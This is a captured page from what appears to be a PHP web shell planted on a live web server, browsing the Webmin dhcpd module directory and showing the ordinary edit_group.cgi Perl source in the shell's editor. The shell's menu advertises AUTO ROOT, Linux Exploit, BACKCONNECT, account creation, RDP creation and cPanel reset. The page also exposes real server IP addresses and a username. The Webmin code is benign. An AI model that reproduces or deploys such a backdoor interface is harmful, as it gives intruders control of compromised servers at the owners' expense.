Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
dhcpd /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
3.61
KB
-rw-r--r--
acl_security.pl
10.09
KB
-rwxr-xr-x
backup_config.pl
699
B
-rwxr-xr-x
cgi_args.pl
358
B
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
333
B
-rw-r--r--
config-Amazon-Linux-2-ALL
333
B
-rw-r--r--
config-CentOS-Linux-5
378
B
-rw-r--r--
config-CentOS-Linux-6.0-6.9
384
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
333
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
333
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
333
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
384
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
333
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
333
B
-rw-r--r--
config-Scientific-Linux-6.0-6....
384
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
357
B
-rw-r--r--
config-Ubuntu-Linux-12.04-ALL
413
B
-rw-r--r--
config-Ubuntu-Linux-8.10-10.04...
405
B
-rw-r--r--
config-cobalt-linux
238
B
-rw-r--r--
config-coherent-linux
378
B
-rw-r--r--
config-corel-linux
230
B
-rw-r--r--
config-debian-linux
333
B
-rw-r--r--
config-debian-linux-3.0
360
B
-rw-r--r--
config-debian-linux-3.1-5.9
392
B
-rw-r--r--
config-debian-linux-6.0-ALL
398
B
-rw-r--r--
config-freebsd
246
B
-rw-r--r--
config-freebsd-8-ALL
423
B
-rw-r--r--
config-generic-linux
227
B
-rw-r--r--
config-gentoo-linux
328
B
-rw-r--r--
config-hpux
242
B
-rw-r--r--
config-irix
223
B
-rw-r--r--
config-macos
223
B
-rw-r--r--
config-mandrake-linux
338
B
-rw-r--r--
config-msc-linux
238
B
-rw-r--r--
config-netbsd
230
B
-rw-r--r--
config-open-linux
227
B
-rw-r--r--
config-open-linux-3.1e
374
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
371
B
-rw-r--r--
config-openbsd
230
B
-rw-r--r--
config-openbsd-3.6-ALL
212
B
-rw-r--r--
config-openmamba-linux
227
B
-rw-r--r--
config-openserver
223
B
-rw-r--r--
config-osf1
223
B
-rw-r--r--
config-pardus-linux
326
B
-rw-r--r--
config-redhat-linux
227
B
-rw-r--r--
config-redhat-linux-13.1-19.0
379
B
-rw-r--r--
config-redhat-linux-20.0-23.0
384
B
-rw-r--r--
config-redhat-linux-24.0-ALL
387
B
-rw-r--r--
config-redhat-linux-6.0-6.2
238
B
-rw-r--r--
config-redhat-linux-7.0-13.0
378
B
-rw-r--r--
config-slackware-linux
233
B
-rw-r--r--
config-slackware-linux-4.0
239
B
-rw-r--r--
config-slackware-linux-7.1-ALL
238
B
-rw-r--r--
config-sol-linux
258
B
-rw-r--r--
config-solaris
223
B
-rw-r--r--
config-suse-linux
238
B
-rw-r--r--
config-suse-linux-7.1-7.3
236
B
-rw-r--r--
config-suse-linux-8.0
361
B
-rw-r--r--
config-suse-linux-8.2-9.1
374
B
-rw-r--r--
config-suse-linux-9.2-ALL
377
B
-rw-r--r--
config-trustix-linux
359
B
-rw-r--r--
config-turbo-linux
227
B
-rw-r--r--
config-united-linux
361
B
-rw-r--r--
config-unixware
259
B
-rw-r--r--
config.info
1.32
KB
-rw-r--r--
config.info.ca
1.46
KB
-rw-r--r--
config.info.cs
1.19
KB
-rw-r--r--
config.info.da
1.12
KB
-rw-r--r--
config.info.de
1.38
KB
-rw-r--r--
config.info.es
457
B
-rw-r--r--
config.info.fa
1.72
KB
-rw-r--r--
config.info.fr
1.14
KB
-rw-r--r--
config.info.ja
1.29
KB
-rw-r--r--
config.info.nl
1.34
KB
-rw-r--r--
config.info.no
1.32
KB
-rw-r--r--
config.info.pl
1.37
KB
-rw-r--r--
config.info.pt_BR
1.34
KB
-rw-r--r--
config.info.ru
1.06
KB
-rw-r--r--
config.info.sk
1.26
KB
-rw-r--r--
config.info.sv
345
B
-rw-r--r--
config.info.tr
201
B
-rw-r--r--
config.info.uk
1.11
KB
-rw-r--r--
config.info.zh
160
B
-rw-r--r--
confirm_delete.cgi
3.03
KB
-rwxr-xr-x
defaultacl
221
B
-rw-r--r--
delete_all.cgi
2.02
KB
-rwxr-xr-x
delete_hosts.cgi
1.57
KB
-rwxr-xr-x
delete_leases.cgi
1.04
KB
-rwxr-xr-x
delete_subnets.cgi
1.58
KB
-rwxr-xr-x
dhcpd-lib.pl
26.23
KB
-rwxr-xr-x
edit_group.cgi
7.14
KB
-rwxr-xr-x
edit_host.cgi
10.03
KB
-rwxr-xr-x
edit_iface.cgi
3.44
KB
-rwxr-xr-x
edit_keys.cgi
1.61
KB
-rwxr-xr-x
edit_options.cgi
9.07
KB
-rwxr-xr-x
edit_pool.cgi
3.32
KB
-rwxr-xr-x
edit_shared.cgi
5.64
KB
-rwxr-xr-x
edit_subnet.cgi
6.48
KB
-rwxr-xr-x
edit_text.cgi
869
B
-rwxr-xr-x
edit_zones.cgi
1.8
KB
-rwxr-xr-x
index.cgi
20.24
KB
-rwxr-xr-x
install_check.pl
557
B
-rwxr-xr-x
list_leases.cgi
9.83
KB
-rwxr-xr-x
log_parser.pl
1003
B
-rwxr-xr-x
lookup_group.cgi
1.02
KB
-rwxr-xr-x
lookup_host.cgi
2.1
KB
-rwxr-xr-x
lookup_shared.cgi
915
B
-rwxr-xr-x
lookup_subnet.cgi
969
B
-rwxr-xr-x
mac-vendor.txt
662.66
KB
-rw-r--r--
module.info
464
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
118
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
179
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
173
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
172
B
-rw-r--r--
module.info.ca
102
B
-rw-r--r--
module.info.ca.auto
14
B
-rw-r--r--
module.info.cs
20
B
-rw-r--r--
module.info.cs.auto
100
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
118
B
-rw-r--r--
module.info.de
110
B
-rw-r--r--
module.info.de.auto
14
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
202
B
-rw-r--r--
module.info.es
25
B
-rw-r--r--
module.info.es.auto
97
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
134
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
166
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
125
B
-rw-r--r--
module.info.fr
21
B
-rw-r--r--
module.info.fr.auto
106
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
149
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
136
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
152
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
108
B
-rw-r--r--
module.info.ja
23
B
-rw-r--r--
module.info.ja.auto
138
B
-rw-r--r--
module.info.ko
21
B
-rw-r--r--
module.info.ko.auto
112
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
135
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
131
B
-rw-r--r--
module.info.ms
99
B
-rw-r--r--
module.info.ms.auto
14
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
123
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.auto
97
B
-rw-r--r--
module.info.no
20
B
-rw-r--r--
module.info.no.auto
98
B
-rw-r--r--
module.info.pl
108
B
-rw-r--r--
module.info.pl.auto
14
B
-rw-r--r--
module.info.pt
25
B
-rw-r--r--
module.info.pt.auto
101
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
132
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
134
B
-rw-r--r--
module.info.ru
26
B
-rw-r--r--
module.info.ru.auto
147
B
-rw-r--r--
module.info.sk
20
B
-rw-r--r--
module.info.sk.auto
101
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
134
B
-rw-r--r--
module.info.sv
20
B
-rw-r--r--
module.info.sv.auto
96
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
264
B
-rw-r--r--
module.info.tr
22
B
-rw-r--r--
module.info.tr.auto
122
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
187
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
208
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
125
B
-rw-r--r--
module.info.zh
22
B
-rw-r--r--
module.info.zh.auto
84
B
-rw-r--r--
module.info.zh_TW
26
B
-rw-r--r--
module.info.zh_TW.auto
90
B
-rw-r--r--
params-lib.pl
5.96
KB
-rwxr-xr-x
prefs.info
164
B
-rw-r--r--
rbac-mapping
69
B
-rw-r--r--
restart.cgi
364
B
-rwxr-xr-x
save_group.cgi
3.89
KB
-rwxr-xr-x
save_host.cgi
5.42
KB
-rwxr-xr-x
save_iface.cgi
3.54
KB
-rwxr-xr-x
save_keys.cgi
1.11
KB
-rwxr-xr-x
save_options.cgi
8.14
KB
-rwxr-xr-x
save_pool.cgi
2.51
KB
-rwxr-xr-x
save_shared.cgi
6.1
KB
-rwxr-xr-x
save_subnet.cgi
6.2
KB
-rwxr-xr-x
save_text.cgi
717
B
-rwxr-xr-x
save_zones.cgi
1.73
KB
-rwxr-xr-x
start.cgi
343
B
-rwxr-xr-x
stop.cgi
321
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_group.cgi
#!/usr/bin/perl # edit_group.cgi # Edit or create a group require './dhcpd-lib.pl'; require './params-lib.pl'; &ReadParse(); $conf = &get_config(); ($par, $group) = get_branch('grp'); $gconf = $group->{'members'}; $mems = $par->{'members'}; # check acls %access = &get_module_acl(); &error_setup($text{'eacl_aviol'}); if ($in{'new'}) { &error("$text{'eacl_np'} $text{'eacl_pig'}") unless &can('c', \%access, $group) && &can('rw', \%access, $par); } else { &error("$text{'eacl_np'} $text{'eacl_psg'}") if !&can('r', \%access, $group); } # per hosts acl check is below # display if ($in{'uidx'} ne '') { local $s = $in{'sidx'} eq '' ? $conf->[$in{'uidx'}] : $conf->[$in{'sidx'}]->{'members'}->[$in{'uidx'}]; $desc = &text('ehost_subnet', $s->{'values'}->[0], $s->{'values'}->[2]); } elsif ($in{'sidx'} ne '') { local $s = $conf->[$in{'sidx'}]; $desc = &text('ehost_shared', $s->{'values'}->[0]); } &ui_print_header($desc, $in{'new'} ? $text{'egroup_crheader'} : $text{'egroup_eheader'}, ""); @shar = &find("shared-network", $conf); @subn = &find("subnet", $conf); $iu = 0; $is = 0; foreach $u (@subn) { push(@subn_desc, $u->{'values'}->[0]); $script2 .= "parent.options[$iu] = " ."new Option(\"$subn_desc[$iu]\", $iu)\n" ."parent.options[$iu].value = " ."new String(\"$u->{'index'}\")\n" if &can('rw', \%access, $u); if ($in{'sidx'} eq '' && $in{'uidx'} eq $u->{'index'}) { $sel_parent = $iu; $currpar = "$u->{'index'}"; } $iu ++; } foreach $s (@shar) { push(@shar_desc, $s->{'values'}->[0]); $script1 .= "parent.options[$is] = " ."new Option(\"$shar_desc[$is]\", $is)\n" ."parent.options[$is].value = " ."new String(\"$s->{'index'}\")\n" if &can('rw', \%access, $s); if ($in{'sidx'} eq $s->{'index'} && $in{'uidx'} eq '') { $sel_parent = $is; $currpar = "$s->{'index'}"; } $is ++; foreach $u (&find("subnet", $s->{'members'})) { push(@subn, $u); push(@subn_desc, "$u->{'values'}->[0] $text{'ehost_in'} $s->{'values'}->[0]"); $shared{$u} = $s->{'index'}; $script2 .= "parent.options[$iu] = " ."new Option(\"$subn_desc[$iu]\", $iu)\n" ."parent.options[$iu].value = " ."new String(\"$s->{'index'},$u->{'index'}\")\n" if &can('rw', \%access, $u); if ($in{'sidx'} eq $s->{'index'} && $in{'uidx'} eq $u->{'index'}) { $sel_parent = $iu; $currpar = "$s->{'index'},$u->{'index'}"; } $iu ++; } } print &ui_form_start("save_group.cgi", "post"); print &ui_hidden("ret",$in{'ret'}); print &ui_table_start($text{'egroup_tblhdr'}, "width=100%", 4); print "<tr><td valign=middle><b>$text{'egroup_desc'}</b></td>\n"; print "<td valign=middle colspan=3>"; print &ui_textbox("desc", &html_escape($group->{'comment'}), 60); print "</td>"; print "</tr>"; $rws = (defined($in{'ret'}) ? " rowspan=2 " : " "); print "<tr><td".$rws."valign=top><b>$text{'egroup_hosts'}</b></td>\n"; print "<td".$rws."valign=top>"; foreach $h (&find("host", $mems)) { push(@host, $h); # if &can('r', \%access, $h); } foreach $g (&find("group", $mems)) { foreach $h (&find("host", $g->{'members'})) { push(@host, $h); # if &can('r', \%access, $h); $ingroup{$h} = $g->{'index'}; } } @host = sort { $a->{'values'}->[0] cmp $b->{'values'}->[0] } @host; my @hosts_sel; foreach $h (@host) { next if !&can('r', \%access, $h); push(@hosts_sel, ["$h->{'index'},$ingroup{$h}", $h->{'values'}->[0], ((!$in{'new'}) && $ingroup{$h} eq $group->{'index'} ? "selected" : "") ] ); } print &ui_select("hosts", undef, \@hosts_sel, 5, 1); print "</td>\n"; if (!$in{'new'}) { # inaccessible hosts in this group foreach $h (@host) { if (!&can('r', \%access, $h) && $ingroup{$h} eq $group->{'index'}) { print &ui_hidden("hosts","$h->{'index'},$group->{'index'}"); } } } $assign = $in{'uidx'} ne "" ? "2" : $in{'sidx'} ne "" ? "1" : "0"; if (!defined($in{'ret'})) { my @labels = ( $text{'ehost_toplevel'}, $text{'ehost_inshared'}, $text{'ehost_insubnet'} ); print "<td colspan=2><table><tr>"; print "<td colspan=2>$text{'ehost_nojavascr'}</td></tr>\n<tr>" if ($in{'assign'}); print "<td valign=top><b>$text{'egroup_assign'}</b><br>\n"; if ($in{'assign'}) { $assign = $in{'assign'}; print "$labels[$assign]</td>\n"; print &ui_hidden("assign",$assign); print &ui_hidden("jsquirk",1); } else { my @assign_sel; for ($i = 0; $i <= 2; $i++) { push(@assign_sel, [$i, $labels[$i], ( $assign == $i ? "selected" : "" ) ]); } print &ui_select("assign", undef, \@assign_sel, 1, undef, undef, undef, "onChange='setparent(0)'" ); print "</td>"; } print "<td>"; my @parent_sel; if ($assign == 2) { $iu = 0; foreach $u (@subn) { my $val1 = defined($shared{$u}) ? "$shared{$u},$u->{'index'}" : $u->{'index'}; my $txt1 = $subn_desc[$iu] if &can('rw', \%access, $u); push(@parent_sel, [$val1, $txt1, ($iu == $sel_parent ? "selected" : "") ] ); $iu++; } } elsif ($assign == 1) { $is = 0; foreach $s (@shar) { my $txt2 = $shar_desc[$is] if &can('rw', \%access, $s); push(@parent_sel, [$s->{'index'}, $txt1, ($is == $sel_parent ? "selected" : "") ] ); $is++; } } print &ui_select("parent", undef, \@parent_sel, 5, undef, undef, undef, "width=120"); print "</td></tr>\n"; print "</table></td>\n"; print "</tr><tr>\n"; } else { print &ui_hidden("assign",$assign); print &ui_hidden("parent",$currpar); } print &choice_input($text{'egroup_nchoice'}, "use-host-decl-names", $gconf, " $text{'yes'}", "on", " $text{'no'}", "off", " $text{'default'}", ""); print "</tr> <tr>\n" if (defined($in{'ret'})); &display_params($gconf, "group"); print "</table>"; print &ui_table_end(); print &ui_hidden("sidx",$in{'sidx'}); print &ui_hidden("uidx",$in{'uidx'}); if (!$in{'new'}) { print &ui_hidden("idx",$in{'idx'}); print "<table width=100%><tr>\n"; print "<td>".&ui_submit($text{'save'})."</td>" if &can('rw', \%access, $group); print "<td align=center>".&ui_submit(( &can('rw', \%access, $group) ? $text{'butt_eco'} : $text{'butt_vco'} ),"options")."</td>"; print "<td align=right>".&ui_submit($text{'delete'},"delete")."</td>" if &can('rw', \%access, $group, 1); print "</tr></table>\n"; print &ui_link("edit_host.cgi?new=1&sidx=".$in{'sidx'}."&uidx=".$in{'uidx'}."&gidx=".$in{'idx'}."&ret=group",$text{'index_addhst'}) if &can('rw', \%access, $group); } else { print &ui_hidden("new",1); print &ui_submit($text{'create'}); } print &ui_form_end(); print &script_fn() if (!defined($in{'ret'})); if ($in{'ret'} eq "subnet") { &ui_print_footer("edit_subnet.cgi?sidx=$in{'sidx'}&idx=$in{'uidx'}", $text{'egroup_retsubn'}); } elsif ($in{'ret'} eq "shared") { &ui_print_footer("edit_shared.cgi?idx=$in{'sidx'}", $text{'egroup_retshar'}); } else { &ui_print_footer($ret, $text{'egroup_return'}); } sub script_fn { return <<EOF <script> function setparent(sel) { var idx = document.getElementsByName("assign")[0].selectedIndex; var v = document.getElementsByName("assign")[0].options[idx].value; var vv = v.split(";"); var parent = document.getElementsByName("parent")[0]; parent.length = 0; if (v==1) { $script1 } if (v==2) { $script2 } if (parent.length > 0) { parent.options[sel].selected = true; } } setparent($sel_parent); </script> EOF }
Close